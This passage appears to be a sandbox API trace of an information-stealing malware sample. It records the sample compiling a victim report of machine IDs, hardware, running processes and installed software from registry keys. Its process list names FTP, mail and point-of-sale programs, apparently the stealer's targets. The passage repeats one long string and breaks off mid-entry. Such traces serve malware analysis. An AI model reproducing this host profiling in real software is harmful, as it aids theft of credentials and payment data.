[0054.978] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\n"
[0054.978] RegCloseKey (hKey=0x514) returned 0x0
[0054.978] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x38, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.978] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}") returned 90
[0054.978] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.978] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030", lpcbData=0x1816c0*=0x3d) returned 0x0
[0054.978] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\n", lpString2="Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- 